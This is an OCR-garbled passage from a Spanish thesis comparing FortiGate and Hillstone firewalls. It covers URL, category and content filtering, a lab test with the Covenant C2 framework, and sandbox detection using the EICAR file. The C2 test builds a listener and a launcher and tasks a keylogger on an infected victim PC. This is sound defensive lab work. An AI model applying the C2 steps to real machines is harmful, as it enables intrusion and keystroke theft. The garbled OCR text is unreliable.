. - 2023/05/2404:37:49 1921681110 blocked hitps:/fwww.facebook.com/ Social Networking 517B/08
orward Traffic
el Traf 2023/05/2404:37:46 192.166.1.110 blocked htps://twitter.com/ Social Networking 5178/08
ocal Traffic
ot Toaf 2023/05/2404:33:49 192.168.1.110 blocked hitps:/Atwitter.com/ Social Networking 5178/08
niffer Traffic
foent 2023/05/2404:33:48 192.168.1.110 blocked htps:/Awitter.com/ Social Networking 5178/08
vents
T 2023/05/2404:33:48 1921681110 blocked hitps:/fabs.twimg.com/ Social Networking 517B/08
e PN |202305/2404:33:48 192.168.1.110 blocked https://twitter.com/ Social Networking 5178/08
= 2023/05/2404:33:40 192.168.1.110 blocked hitps://twitter.com/ Social Networking 5178/08

FIGURA 80. VENTANA LOG WEB FILTER ENTRADAS URL CATEGORIAS
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3.4.2.3 Filtrado por Contenido

Se procede a bloquear el acceso via HTTP por contenido, manera en la cual posibilita
el bloqueo de varias paginas de que posean determinado “patron”, este patron hace
referencia a paginas que posean determinado nimero de coincidencias, las cuales
en ese se pueden bloquear

1. Se procedera a configurar el Security Profile acorde a la prueba a
realizar

=" FortiGate 30E FortiGate-30E

B Policy & Objects 5 “  Edit Web Filter Profile

T TT3LILL TUU TUJT ALLT3S A\
| @ Security Profiles v Log all search keywords (@ ] 4
AntiVirus
Web Filter T%e B Static URL Filter
DNS Filter Block invalid URLs e )
Application Control URL Filter o
INotsionEreventien Block malicious URLs discovered by FortiSandbox (B
SSL/SSH Inspection Content Filter ©
Application Signatures + CreateNew | ¢ Edit [T Delete
{ESSiEnatines Ettern Type® Y | Pattern Language Action Status
Web Rating Overrides K A
Regular Expression  Servidor Western @ Block @ Enable
Web Profile Overrides
0 VPN >
& User & Device > d
= WiFi&Switch 5
" Controller B Rating Options
Ll Log & Report > Allow websites when a rating error occurs (B

€ Monitor > Cancel
FIGURA 81. CONFIGURACION FORTIGATE URL POR CONTENIDO

2. Se procedera a aplicar el Security Profile a la politica en cuestion

=75 FortiGate 30E  FortiGate-30E

@ Dashboard > Edit Policy

% Security Fabric > IP Pool Configuration YNNG E =Y N[ Use Dynamic IP Pool e

18 FortiView > Preserve Source Port (B 13 second(s) ago

4 Network bd Protocaol Options Customer_Proxy v & First used

£ System > 8 minute(s) ago

B Policy & Objects v Security Profiles Hit count

1,368

1Pv4 Policy o AntiVirus (e ]
Proxy Policy Web Filter © [EE Filtrado-Contenido - & 9117\1 sessions
Authentication Rules DNS Filter >
1Pvé DoS Policy Application Control
Addresses IPS o Ts;l‘"‘.a\ bytes
Internet Service SSL Inspection N certificate-inspection - & 37344 MB
Database
Services Logging Options
Schedules Log Allowed Traffic €0 Security Events Al (@ Documentation
Virtual IPs & OnlineHelp &
1P Pools Advanced B Video Tutorials (7
Protocol Options . Cancel

FIGURA 82. APLICAR SECURITY PROFILE DE URL A LA POLITICA DE TRAFICO
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3. Visualizacion del bloqueo

® The URL you requested has beer X +

< C 0 A edudjava.com

% Bookmarks @ (1) WhatsApp ~ AF  Anime online HD... PENDIENTES KISHA.. San Saru | Joyas de... Pendientes con Pie.. » | DON'T CARE - Ed.

The URL you requested has been blocked

The page you requested has been blocked because it contains a
banned word

URL: http://www.edudjava.com/es/web/web30.html

FIGURA 83. EJEMPLO PAGINA BLOQUEADA DE EDU4JAVA FORTIGATE

Con el fin de facilitar una visualizacidon mas completa de los eventos y actividades
relacionados con los intentos de acceso y bloqueo, es posible realizar un seguimiento
detallado a través del registro de eventos (log).

="= FortiGate 30E FortiGate-30E

-
= WiFi &Switch , € & | ©AdFilter M (T Details
Controller -
I ai Log & Report o Date/Time User Source Action URL C LogDetails L
Forward Traffic | 202300711 13:27:00 1000210 _blocked _[Eft//wwwiedudjava.conves/web/webaoh.. | = General
Date 2023/07/11
Local Traffic Time 13:27:00

Session ID 5408
Virtual Domain root

Sniffer Traffic

Events Agent Chrome/114.0.0.0
AntiVirus B Source
Web Filter w P 10.0.0.210
SSL Source Port 2197
Source Interface 22 Jan
DNS Query User

Application Control & Destination

Intrusion Prevention P 216.239.32.21

Anomaly Port 7 80
Destination W wan

Log Settings Interface

Hostname  www.edudjava.com

Threat Weight
reat Vveigl URL http://www.edudjava.com/es/

Email Alert Settings

FIGURA 84. VENTANA LOG WEB FILTER ENTRADAS URL CONTENIDO
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Desde la vista de detalles es posible aclarar mas informacion del motivo del bloqueo

- Log Details B
& Web Filter
Profile Filtrado-Contenido
Name
Request direct
Type
Direction incoming
Banned .
Word Servidor
Message  URL was blocked because it
contained banned word(s).
& Other
Log ID 0314012288
Type utm
Sub Type webfilter
Event Type content
Log event
original 16890/4820163793000
timestamp
Timezone +0200
Source
lan

Interface Role

Destination

FIGURA 85. EJEMPLO DETALLE LOG WEB FILTER
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3.4.3 Defensa (Hillstone)

procedera a la utilizacion de diferentes configuraciones para la resolucion de los
diferentes “ataques” para ver la respuesta del dispositivo y funcionamiento del filtrado

3.4.3.1 Filtrado por URL

Se procede a bloquear el acceso via HTTP a URL “estatica”, de manera que pueda
verse como no es posible acceder a ella.

1. Se procede a configurar el filtrado por URL estatico

o % B OB E

@

o &

pil

@ @ ¢ @

<&

Dashboard iCenter Monitor Object Network System
APP Book >
no / Profile
SSL Proxy
SLB Server Pool URL Filtering Configuration
Schedule
Name * Bloqueo Estatica
AAA Server
Safe Search
Radius Dynamic Authorization
single URL D New  [i] Delete
SSO Server > Configuration
S50 Client N Single URL Configuration Block Log
W = v
User N WWW.Marca.com = =
Role > alegory ) New
Track Object URL Category Block Log
Anti-Virus > Advertisements & Pop-Ups
Intrusion Prevention X Alconol & Tobacco
System
Anonymizers
Botnet Prevention >
Arts
URL Filtering v
Business
Profile
Other URLS Block Record Log
URL BlacklistWhitelist
Sandbox N SSL Inspection
NetFlow > URL Keyword Category & New
Data Security > Keyword Category Block Log
AcL >

FIGURA 86.CONFIGURACION HILLSTONE URL ESTATICA

2. Se aplica la la previa configuracion sobre la “policy” de trafico a
aplicar
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Dashboard iCenter Monitor Policy Object Network System
[ security Policy v Policy
Policy
Policy Configuration
Policy Group
Destination Zone Any
Policy Optimization
Destination Address 2 Any
F NaT >
+
o QoS >
Service Any
(& session Limit
+
& Share Access
Application +
Q Trafiic Quota >
Action m Deny  Secured connection
& ARP Defense >
&  Perimeter Traffic Filtering >
Protection
Anti-Virus
1PS

Botnet Prevention

URL Filtering O Blogueo Estatico ‘ |

Sandbox
Data Security

Options

= m Cancel
=i Colianea

FIGURA 87. APLICA OBJECT BLOQUEO ESTATICO A POLITICA DE TRAFICO

3. Se procede a acceder via web hacia la direccién
“Wwww.marca.com” para la comprobacion del bloqueo de pagina

Access Denied x +

= C & a marca.com

% Bookmarks E.) (1) WhatsApp ~ AF  Anime online HD... PENDIENTES KISHA... San Saru | Joyas de... Pendientes con Pie... » | DONT CARE - Ed...

Access Denied

Your organization's Internet use policy restricts access to this web page at this time.
Please contact your network administrator.

This site belongs to url category:Sports

FIGURA 88. MUESTRA DE BLOQUEO DE PAGINA HTTP MARCA HILLSTONE

Con el fin de facilitar una visualizacidon mas completa de los eventos y actividades
relacionados con los intentos de acceso y bloqueo, es posible realizar un seguimiento
detallado a través del registro de eventos (log).
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Policy

Device Name 566000
Lock User URL Log

8 Lok

5 Monitor Configuration
=1 efiied Monitor onfgure QO Clear [ Export
B Report > AL 53¢
EventLog 2023-07-07 213010 WEB IP 1000 2104834(192 168 1 120 4834)->199 232 193 50-60(199 232 193.50.80) uSe - VR I1USL-vr URL NIp /v Iarca com Calegory Sports method GET action block (eason URL
Network Log 8. IP 10.0.0.210.4833(192 193.50.443( 193.50.443) user - VR trust-vr,URL hiips /iwww marca com,category Sports, mel GET.action block feason URL
figuranon Log
5. 1P 10.0.0.210:4832(192.168 50:443(199.232 193 50.443) user - VR trustvr.URL nitps www.marca com, category Sports,method GET.actian block reason URL
hreat Log
B 1P 10.0.0.210/4630(192.168 5080(199 2 JRL N /M macca Y Sports method GET action DIock €250 UR
WEB. 1P 10.0.0.210.4829(192.166. 193.50:80(199.232 193,50 80)use -.VR Uust-vr.URL MID /i marca com.calegory S ¢ GET ction block feason URL
TG

URL Log

193 50.80(199.232 193 50.80) user - VR trust-vr,URL hitp /twww marca com category Uncategorized, method GET action block reason URL

joud Sandbox Log

FIGURA 89. LOG HILLSTONE URL ESTATICA
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3.4.3.2 Filtfrado por Categorias

Se procede a bloquear el acceso via HTTP por categorias, manera en la cual posibilita

el bloqueo de varia

s paginas de determinado “caracter” de forma conjunto

facilitando el bloqueo de miles sin el esfuerzo de filtrar una por una

1

. Se procede a configurar el profile de URL filtering para el
bloqueo de las redes

Dashboard iCenter Monitor Policy Object Network System

=
1sa  APP Book >
ject / URL Filtering / Profile
2 SSLProxy
# S8 Server Pool URL Filtering Configuration
E  Schedule
Name * Bloguee Categorias
B AAA Server
Safe Search [ o]
© Radius Dynamic Authorization
Control Action m Enforce
B SS0 Server >
= ss0 Client > Single URL B New
- Configuration
O, user > Single URL Cenfiguration Block Leg
& Role >
&Y Track Object URL Category £ New
$  Anti-virus 4 URL Category Block Log
® Intrusion Prevention N
System Shopping
© Botnet Prevention > I Social Networking I
$ URL Filtering v Spam Sites
Profile | Sports
URL BlacklistWhitelist Malware
—
Other URLs Block Record Log

Sandbox >

[F)  NetFlow > SSL Inspection [ o]

@ Data Security >

@ ACL >

e
= cancel
=3 Cnllance

URL Keyword Category @) New

FIGURA 90. CONFIGURACION HILLSTONE URL CATEGORIAS

2

Santi Ochoa Donate

. Se aplicara el profile que se requiera a la politica de trafico a
aplicar
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Dashboard iCenter Monitor Policy Network System

[@ Security Policy v Policy

Policy

Policy Cenfiguration
Policy Group

Destination Zone untrust
Policy Optimization
Destination Address o Any
&+ NAT >
+
o QoS >
Service Any
®  session Limit
+
Gb  Share Access
Application +
6 Traffic Quota >
& ARP Defense >
¥ Perimeter Traffic Filtlering >
Protection
Anti-Virus
IPS
Botnet Prevention
I URL Filtering o ‘ Bloqueo Categorias ‘I

Sandbox
Data Security

Options

=5 ~ntiann Cancel

FIGURA 91. APLICAR PROFILE URL A LA POLITICA DE TRAFICO

3. Se intenta acceder a las paginas via “www.facebook.com”y
“www.twitter.com” web
1. Facebook

@ www.facebook.com X +

<« C { (© facebook.com

% Bookmarks @ (1) WhatsApp ~ AF  Anime online HD... PENDIENTES KISHA... San Saru | Joyas de... Pendientes con Pie... » |DON'T CARE - Ed...
No se puede acceder a este sitio web

e Comprobar el proxy y el cortafuegos

RR_CONNECTION_RESET

Volver a cargar Detalles

FIGURA 92. MUESTRA BLOQUEO DE PAGINA FACEBOOK HILLSTONE

2. Twitter
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@ twitter.com x +

< C O O twittercom

% Bookmarks @ (1) WhatsApp ~ AF  Anime online HD... PENDIENTES KISHA... San Saru | Joyas de... Pendientes con Pie...  » | DON'T CARE - Ed...

=

No se puede acceder a este sitio web
Se ha restablecido la cor

Prueb

e Comprobar el p y el cortafuegos

ERR_CONNECTION_RESET

DEtaueS

FIGURA 93. MUESTRA BLOQUEO DE PAGINA TWITTER HILLSTONE

Con el fin de facilitar una visualizacién méas completa de los eventos y actividades
relacionados con los intentos de acceso y bloqueo, se realiza un seguimiento de las
acciones tomadas desde el log

URL Log

URL Log

£gory Social Networking metnod GET action biock, Feasan URLDS

FIGURA 94. VENTANA LOG ENTRADAS URL CATEGORIAS HILLSTONE
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3.4.3.3 Filtrado por Contenido

Se procede a bloquear el acceso via HTTP por contenido, manera en la cual posibilita
el bloqueo de varias paginas de que posean determinado “patron”, este patron se
basa en una coincidencia la cual puede ser ajustada entre 10 — 100, con 100 se afina que
la coincidencia sea exacta mientras que a menor numeracion mas “libertad” se le da a la
coincidencia de que se parecido 0 no exactamente asi escrito

1. Se procederd a configurar el profile de URL filtering por
contenido

prustat

FIGURA 95. CONFIGURACION HILLSTONE URL POR CONTENIDO

2. Se aplicara a la politica de trafico a filtrar, debe aplicarse ambos o
no se termina de aplicar bien
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Dashboard iCenter Monitor Policy Object Network System

[ Security Policy v Policy / Security Po Policy
Policy
Policy Configuration
Policy Group
Policy Optimization
= NAT > Protection
al iQoS > Anti-Virus
®  Session Limit
® PS

& share Access
Botnet Prevention

Q  Trafiic Quota >

URL Filtering o Blogueo Contenido
) ARP Defense >

Sandbox
@ Perimeter Traffic Fitering >

Data Security

File Filter

Network Behavior
Record

Web Content [ o) blogueo Contenido
Web Pasting

Email Filter

APP Behavior Control

Options

=i Collapse

FIGURA 96. APLICAR EL PROFILE DE CONTENIDO DE URL A LA POLITICA DE TRAFICO

3. Muestra de intento de acceso via web y bloqueo

C O a edudjava.com

% Bookmarks (€ (1)WhatsApp  AF Anime online HD.. PENDIENTES KISHA... San Saru | Joyas de... Pendientes con Pie..  » | DONT CARE - Ed..

Access Denied

Your organization's Internet use policy restricts access to this web page at this time.

Please contact your network administrator.

FIGURA 97. EJEMPLO PAGINA BLOQUEADA DE EDU4JAVA HILLSTONE

Con el fin de facilitar una visualizacién mas completa de los eventos y actividades
relacionados con los intentos de acceso y bloqueo, se realiza un seguimiento de las
acciones tomadas desde el log

Santi Ochoa Donate 83



Trabajo Final de Grado
Next Generation Firewalls

55 Lock User

& Lok

B Montor Contguration
5 User Defined Monilor
B Reports

B Leg

Network Log
Configuraion Log

Thieat Log

ssion Log

NAT Log

Cloud Sandbox Log

File Fi

Cantent Filter

Network Benav

Content Filter

Clear

@ Export

© confgure &
» Time
v posorionazo

@info.

Cantent fier.

htip:

v.edudjava. comvesh

jeb/weDa0 nm, hiip

action piock,

reasan with ke,

‘servidor (prustiat)

nule blogueo Contenido,

charset NA, NA

20230711 01:32

2023.07-11 013200

20230711 01:25:27

2023071101

@into.

@into.

@into.

Cantent fiter

Cantent fiter

Cantent fier

Cantent fiter

121000

1P 10.0.0.210 (- VR trustr
VR tustar
1910.0.0.210 () VR ustar
1P 10.0.0.210 (- VR trustr
VR tustar

0.0

htp

nnp:

it

hip

/€30 himi, hilp

W EU4]AVA COMVESWEDWED0 NI, M,

udjava comesi

v edudjava comiesh

rebiweb30 him, hiip

/£30 himl, hilp

action block,

achon Block,

action biock,

action block,

reason with key

reasan wih keyword

reasan with key

reason with keyword

sendor (pn

at)

senador (prustiat)

servidor (prustat)

sendor (pruetat),

e blogueo Contenido,

ule DiogGUEo Contenido

nule blogueo Contenido,

e blogueo Contenido,

charsel NA, NA

charsel NA, NA

charset NA, NA

charsel NA, NA

FIGURA 98. VENTANA LOG ENTRADAS URL CONTENIDO HILLSTONE
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3.4.4 Discusion

Ambos dispositivos bloguean el trafico URL a la mayor diferencia es en el tema de
contenido donde Hillstone busca una exactitud con una palabra a través de un % de
exactitud de parecido con esa palabra y FortiGate sumando un score a través de
coincidencias encontradas antes de aplicar una accién

Santi Ochoa Donate
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3.5 C2
3.5.1 Ataque

Mediante el uso de una herramienta de Kali Linux se realizard un “ataque” para prueba
de deteccion de command and control de los dispositivos firewalls de las pruebas,
aplicando “determinada” configuracion se intentard “capar” todo lo posible para una
mayor visualizacion de si el dispositivo es capaz de detectarlo y filtrar

Ataque basado en infeccion de un dispositivo y comunicacion de la “victima” y el
“servidor” mediante comandos a través de un firewall el cual se analizara para ver si
es capaz de detectar comunicacién entre dispositivos de la botnet con el servidor

Mediante la herramienta/Framework se pretende realizar una prueba de penetracion y
hacking ético, para ello se procedera a la preparacion de la “herramienta” a usar

1. Seinstalay accede a su version web, se procedera a crear un usuario ya que se
entra por primera vez

o-OVENANT

Register Initial User

FIGURA 99. VENTANA REGISTRO COVENANT
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2. Se procedera a configurar el listener por donde se recibe la comunicacién con la

botnet

< C @ O a 172.17.01

KaliLinux § KaliTools # Kali Docs ¥ Kali Forums & Kali NetHunter Exploit-DB Google Hacking DB OffSec

71 o-OVENANT

Listener: pruebaC&C

ﬂ Listeners
®@info O Hosted Files

Description
Listens on HTTP protocal.
Name
pruebaC&C
BindAddress BindPort
0.0.0.0 80
ConnectPort
80
ConnectAddresses Urls

172.17.0.1 http://172.17.0.1:80

UseSSL

False v

FiGURA 100. CREACION LISTENER PARA BOTNET

3. Se procedera a la generacion del comando/virus que agregara al PC victima a la

red botnet
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O a 172.17.0.1

Kali Linux #& KaliTools = KaliDocs M Kali Forums X Kali NetHunter Exploit-DB Google Hacking DB OffSec

ri o-OVENANT

Dashboard Binary Launcher
Listeners
4 Launchers 4 Generate (> Host <2 Code
Description
Templates Uses a generated .NET Framework binary to launch a Grunt.
W= Listener ImplantTemplate DotNetVersion
pruebaC&C v GruntHTTP v Net35
ValidateCert UseCertPinning
ata
True v True ~
Jser
Delay JitterPercent ConnectAttempts
5 = 10 E 5000
KillDate

07/13/2023 12:10 PM

Launcher

GruntHTTP.exe

FIGURA 101. CREACION LAUNCHER PARA INFECCION DE PC VICTIMA

@ O & 172.17.0.1

Kali Linux § Kali Tools = KaliDocs & Kali Forums & Kali NetHunter Exploit-DB Google Hacking DB

r( o-OVENANT

Dashboard H
Binary Launcher
Listeners
4 Launchers 4 Generate (P Host <> Code
Grunts
S Ul /GruntHTTP
Task
Taskings Launcher
Graj GruntHTTP.exe
JSers

FIGURA 102. DIRECCION DE URL DONDE DESCARGAR FICHERO DE INFECCION
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4. Para la prueba la victima procedera a la descarga del “virus”

B Simbolo del sistema — O

FIGURA 103. EJECUCION COMANDO DESCARGA VIRUS DE INFECCION BOTNET

5. Se ejecutara implante.exe en el PC victima

Papelerade
reciclaje

2]
Microsoft Edge

-

implante

FIGURA 104. VISTA DE VIRUS DESCARGADO Y EJECUCION

Una vez se tiene el equipo infectado se procederd a la realizacion de intentos de
comunicacion para la visualizacién de los comportamientos de los dispositivos firewall
y ver si son capaces de filtrar estas operaciones

Para la prueba de ambos dispositivos se hizo uso de 2 interacciones:

- WhoAml
- Keylogger 120 seconds

Grunt: 8cOefcfl7a

@mio > meract @D Task B Taskings

FIGURA 105. VISTA DE ATAQUES REALI1ZADOS A PC DE LA BOTNET
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3.5.2 Defensa (FortiGate)

La configuracion a aplicar para la deteccion de las comunicaciones una vez el equipo ya
estd infectado sera la siguiente:

&"= FortiGate 30E FortiGate-30E

& Dashboard > “  EditIPSSensor
NA Security Fabric >
Name all_default
[ FortiView >
Comments | All predefined signatures with
+ Network > default setting. 4 s7/25%
B System >
B Policy & Objects 5 IPS Signatures and Filters
| & security profites v # tdit | @ Delete
AntiVirus
Details Exempt IPs Action Packet Logging
Web Filter
All Attributes Block Enabled
DNS Filter m """"""""""""" © °

Application Control

Intrusion Prevention w 1

SSL/SSH Inspection

Application Signatures Selisl CHC

IPS Signatures Scan QOutgoing Connections to Botnet Sites Disable Monitor

Web Rating Overrides = 3816 IP Addresses in botnet package.

Web Profile Overrides Botnet package update unavailable,
L AntiVirus subscription not found.
0 VPN >

FIGURA 106. BLOQUEO FIRMAS Y CONEXIONES SALIENTES A DIRECCIONES IP
CONOCIDAS DE BOTNETS

La opcidn de Botnet C&C es para cuando las comunicaciones vengan directamente de
una direccién IP concreta que se tenga en la base de datos, de la otra manera lo hara
por firmas como puede verse en los logs de IPS

72 FortiGate 30E FortiGate-30E

@ Security Profiles Tt e &

] © Add Filter {0 Details
=RV »
. Date/Time % Severity  Source Protocol  User  Action  Count Attack Name | LogDetails x
& User & Device > Service HTTP
WiFi & Switch 2023/06/22 22:49:18 snmn 1000111 6 dropped Backdoor.Coven
A Controller ’ © Intrusion Prevention
2023/06/22 22:40:50 wnEn 1000111 & dropped BackdoorCoven |
e
ok v all_default
I AR 2023/06/22 22:40:29 unmn 1000111 6 dropped Backdoor.Coven ame -
Forward Traffic Cove
2023/06/22 22:39:26 aman 1000111 6 dropped BackdoorCoven| Name  D2ckdoor.Covenant
Local Traffic Attack 1D 52169
Sniffer Traffic Reference http://www.fortinet.com/ids/VID521¢
Incident
Events ariot 1o, 537850019
AntiVirus puwectwcr outgoing
Severity WEEN
Web Filter Message  backdoor: Backdoor Covenant,
ssb @ Other
DNS Query LogID 0419016384
Application Control ype utm
Sub Type ips
itrusion Prevention
TTEVENTOTES
Anomaly mfemmp s 1687466958597891000
Log Settings Timezone +0200

Source Interface Role lan

Threat Weight Destination Interface

Aol wan
Email Alert Settings ole

FIGURA 107. LOGS FORTIGATE PRUEBA DE DETECCION DE ENVIO DE DATOS A
SERVIDOR BOTNET
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3.5.3 Defensa (Hillstone)

Para la deteccion tanto de los intentos de infeccion como de las conexiones como del
trafico en general que se comunique con servidores de botnet se procede a tener varias
configuraciones

- AV: para la deteccion de codigo malicioso el cual puede intentar
enviarse o descargarse del servidor botnet (cominmente la infeccion)

Dashboard iCenter Monitor Policy Object Network System
% APP Book >
h Object/ Anti-Virus / Profile
£ SSL Proxy
2  SLB Server Pool Anti-Virus Rule Configuration
Schedule
Name Antivirus
& AAA Server
File Types
@ Radius Dynamic Authorization
GzZIP MAIL zP MS OFFICE
B S50 Server >
HTML BZIP2 TAR Raw data
[l SSO Client >
JPEG RAR ELF Others
o | >
= User PE RIFF PDF
& Role >
Protocol Types
&9 Track Object
HTTR @ FilMagic  Log Only Reset Connection
©  Anti-Virus v
SMTP @ FilMagic  Log Only [EEEERMIw T
Profile
Configuration POP3 @ FilMagic Log Only [EEEEReISN W]
Intrusion Prevention IMAP4 @ FilMagic Log Only [EEEISEe TN
>
® System
FTP @ FilMagic  Log Only [EEESSEeRLSET
@ Botnet Prevention >
<7 URL Filtering >
Malicious Website @  LogOnly Reset Connection
Sandoox 4 Access Control
[ NetFlow >
0 e Enable Label E-mail
@ Data Security >
@ AcL >

FIGURA 108. CONFIGURACION AV PARA VIRUS DE BOTNETS HILLSTONE

- Intrusion Prevention: la cual tiene las firmas de ataques a nivel de
aplicacion conocidas hacia los diferentes protocolos

Aaress Bock Profile

IPS Configuration

% Cotapse

FIGURA 109. CONFIGURACION IPS PARA FIRMAS Y DETECCION ANOMALO SOBRE
PROTOCOLO PARA BOTNET
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- Botnet prevention: para la deteccion de conexiones entrantes y salientes
bajo los protocolos TCP, HTTP, DNS principalmente y la deteccion de
Tuneles en DNS y algoritmo de generacion de dominds (DGA)

Hillstone A200 Dashboard iCenter Monitor Policy Object Network System
NETWORKS
g AAADdeBIVEl
Object/ Botnet Prevention / Profile
©@ Radius Dynamic Authorization
&SSO Server > Botnet Prevention Rule Configuration
B SSO Client >
Name * prueba c&c
O, User >
Protocol Types TCP @ log Only EREEEEENLET]
& Role >
@ Track Object HTTP @ Log Only EEEEEREMIEeT]
g Anti-Virus > DNS @ LogOnly EBESERENUELMN Sinkhole-Replace
) Intrusion Prevention N DNS Tunnel Detection @  Log Only [EEEEEEENIEIL]
System
DGA Detection [ o] Log Only [EGEEEEeLEsT]
Botnet Prevention ~
Profile |
Address Library Cancel
i et

FIGURA 110.CONFIGURACION BOTNET PARA DETECCION TUNELES, DOMINIOS Y SOBRE
PROTOCOLOS HILLSOTNE

Se cuenta con una base de datos la cual tiene direcciones conocidas de botnet para no
aceptar conexiones de esas direcciones

Al — & v @ He
£ Deviee Name:sG6000 (B admin v () Hel

Address Library

n
P Domain Custom IP Custom Domain
>
:
2 >
& >
N P Global Status
12}
9263 196 66 @
@ >
134.122.1349 )
® b
104.41.13.0 @
5 Botnet Prevention
g 94 102 50.103 @
Profile
10313642 158 @
Address Library
95151440 @
Gonfig
46.175.146.150 )
DNS Exception List 675148150 @
€ URL Filtering > 151.75.66.0 ]
@ Sandoox > 103224212222 @
@ NetFlow >

FIGURA 111. VENTANA DIRECCIONES IP DE SERVIDORES DE BOTNET CONOCIDOS

Q
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3.5.4  Discusion

Hillstone no fue capaz de detener el ataque de BotNet debido a la falta de firma de
ataques y a que el dispositivo no ha estado reconociendo los ataques realizados una vez
ya infectado el PC victima como nada andomalo y una conexion normal, esto se debe a la
falta de la firma que identifica el “ataque”

FortiGate no ofrece una configuracion mas exacta/avanzada para configurar los distintos
tipos de conexiones que se pueden utilizar para la deteccion de botnets como DNS
tineles o DGA. Hillstone permite mayor nivel de configuracion para los ataques de
BotNet de forma que nos permite ajustar a mas exactitud que accion queremos tomar
para el DNS, DNS tuneles y DGA
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3.6 Sandbox
3.6.1 Ataque

El objetivo del ataque y su prueba de comprobacion sera la prueba de que
efectivamente los ficheros se envian al sandbox de los Firewall

Se pretende comprobar mediante la descarga de un archivo malicioso utilizado y en la
base de firmas de la mayoria de los dispositivos de seguridad el EICAT.TXT, este
fichero es reconocido por la mayoria de los AV y se pretende comprobar que
efectivamente lo envian al sandbox y después se procede a su bloqueo

3.6.2 Defensa (FortiGate)

Para la prueba se requiere de la activacion de FortiSandbox inspection

== FortiGate 30F FortiGate-30E

& Dashboard > Security Fabric Settings

I N4 Security Fabric v
€ Sandbox Inspection

FortiSandbox type FortiSandbox Appliance Jgegie=ytlod@l il

A FortiSandbox cloud region | Global -

Settings w . ]
Applied Threat Intelligence ]

Fabric Connectors

Physical Topology
Logical Topology

Dynamic Malware Detection version | 3.661 (signatures: 9249)

|aa FortiView >
# Network > URL Threat Detection version 3.359(entries: 233)
¥ System >
P Policy & Objects N FortiSandbox Statistics (last 7 days)
@ Security Profiles > File type Detected
O VPN > Total submitted 0 (
& User & Device > Critical (Malicious) | O
= WiFi & Switch Controller > High Risk 0
Lil Log &Report > Medium Risk 0
€ Monitor > )

Low Risk 0

Clean 0

@ Fabric Devices (

D FortiClient Endpoint Management System (EMS)

FIGURA 112. VENTANA ACTIVACION SANDBOX FORTIGATE

Se activara y ajustara la region para su posterior configuracion en el profile del AV
para el envié de los ficheros a escanear al sandbox
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ortiGate 30E FortiGate-30E

@& Dashboard > | Edit AntiVirus Profile

XK Security Fabric > | Name | Av-Sandbox

ldw FortiView > Comments Write a comment...
b Network > Detect Viruses m Monitor
£ System >

Inspected Protocols

B Policy & Objects >

& Security Profiles v HTTP ©
SMTP @©

Web Filter POPE ©
IMAP
DNS Filter ©
L MAPI O
Application Control
FTP @©
Intrusion Prevention
CIFs @
5S5L/SSH Inspection
Application Signatures APT Protection Options

IPS Signatures
Web Rating Overrides

Web Profile Overrides
O VPN >
& User & Device >
= WIFi & Switch Controller >
Ll Log & Report >
€ Monitor >

Content Disarm and Reconstruction

Original File Destination

Send Files to FortiSandbox for Inspection

Do not submit files matching types

Do not submit files matching file name patterns
Use FortiSandbox database €

Include Mobile Malware Protection

©

FortiSandbox = File Quarantine
None | Suspicious Files Only BT GHIgIE

+

[+

Treat Windows Executables in Email Attachments as Viruses @

ollo)

Virus Outbreak Prevention @

Use FortiGuard Outbreak Prevention Database @
Use External Malware Block List @ @ ]

FIGURA 113. CONFIGURACION ENVIO DE PAQUETES MALICIOSOS A LA SANDBOX
FORTIGATE

Una vez el profile de AV haya sido configurado se procedera a asignarlo a la politica de
ipv4 correspondiente al trafico que se quiera analizar y enviar al sandbox

‘ortiGate 30E  FortiGate-30E

@ Dashboard >

NX Security Fabric

b FortiView >

b Network >

¥ System >

B Policy & Objects v
1Pv4 Policy T
Proxy Policy

Authentication Rules
1Pv4 Do$ Policy
Addresses

Internet Service Database
Services

Schedules

Virtual IPs

IP Pools

Protocol Options
Traffic Shapers
Traffic Shaping Policy

Traffic Shaping Profile
& Security Profiles >
D veN >
& User & Device >

= WiFi & Switch Controller >
Ll Log & Report >
€ Monitor >

Edit Policy
> T Firewall / Network Options

NAT [ o)

IP Pool Configuration e ey v Use Dynamic IP Pool

Preserve Source Port OB

Protocol Options Customer_Proxy

V| #

Security Profiles
AntiVirus © | IEAl ~v-sandbox
Web Filter [® )
DNSFilter [® )
Application Control (e ]
IPS [® )

SSL Inspection deep-inspection
Mirror SSL Traffic to Interfaces (B

'

i’ d

Logging Options
Log Allowed Traffic @  Security Events [IETEI0E]

Advanced

WCCP [e ]
Exempt from Captive Portal (B

Comments | Write acomment.. | omozs

Enable this policy €

Cancel

FIGURA 114. APLICACION AV-SANDBOX A LA POLITICA A ANALIZAR FORTIGATE
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Para la verificacion de la utilizacion real del sandbox y accion tomada por el firewall
se podra ver desde el menu de logs del AV

FortiGate 30E Fc

& Dashboard > -
& Security Fabric »

I&s FortiView >

% Network

& System

B Policy & Objects >

& Security Profiles >
VPN >

& User & Device >

< WiFi & Swiitch
Controller

141 Log & Report v
Forward Traffic
Local Traffic
Sniffer Traffic
Events
AntiVirus o
Web Filter
sst
DNS Query
Application Control
Intrusion Prevention

Ancmaly

2 & | OAddFilter
Date/Time A3

2023/06/2109.09:19

2023/06/210%.09:18

2023/06/2109:03:31

Service Source File Name
HTTPS 192.168.1.110 eicar.com
HTTPS 192168.1.110 eicar.com bt
HTTPS 192.168.1.110 eicar.com

Virus/Botnet
EICAR_TEST_FILE
EICAR_TEST_FILE
EICAR_TEST_FILE

Action
blocked
blocked

blocked

Detaile

URL: https://eicareu

URL: https/jeicareu,

URL: https:/feicar.eu

Log Detalls x
Action blocked -
i Threat 2
Policy 1

B security
Le

Threat Score 50
B cellular

Service HTTPS

© Antivirus

Profile Name AV-Sandbax
Virus/Botnet EICAR_TEST_FILE

VisiD 2172

Reference  http:/fwwwfortinetcomvevn=EICAR_TE
Detection  yyrys

ype

Direction  incoming

sy File-was not-quarantined

Kip

FortiSandbax

275a021bbfbs489e54d471899f7db9d 16«

Lileizigfegieg

0211008192

Tuna vt

FIGURA 115. LOGS DETECCION VIRUS SANDBOX FORTIGATE

Pueda verse también la cantidad de ficheros que se han enviado al sandbox para su

anélisis

@ Dashboard >
3k Security Fabric >

& FortiView >
< Network >
Iﬂ System v

Administrators
Admin Profiles
Firmware
Settings

HA

SNMP

Replacement
Messages

Replacement Message
Groups

Reputation
Feature Visibility
Certificates

B Policy & Objects >

B Caricibus Denfilar

FortiGuard Distribution Network
Botnet Domains

AntiVirus

AV Definitions

AV Engine

Mobile Malware
Outbreak Prevention
Industrial DB

Industrial Attack Definitions
Web Filtering

Blacklisted Certificates
Anti-Spam Filtering

FortiGate Cloud

® Version 3.00313

© Licensed - expires on 2023/07/12
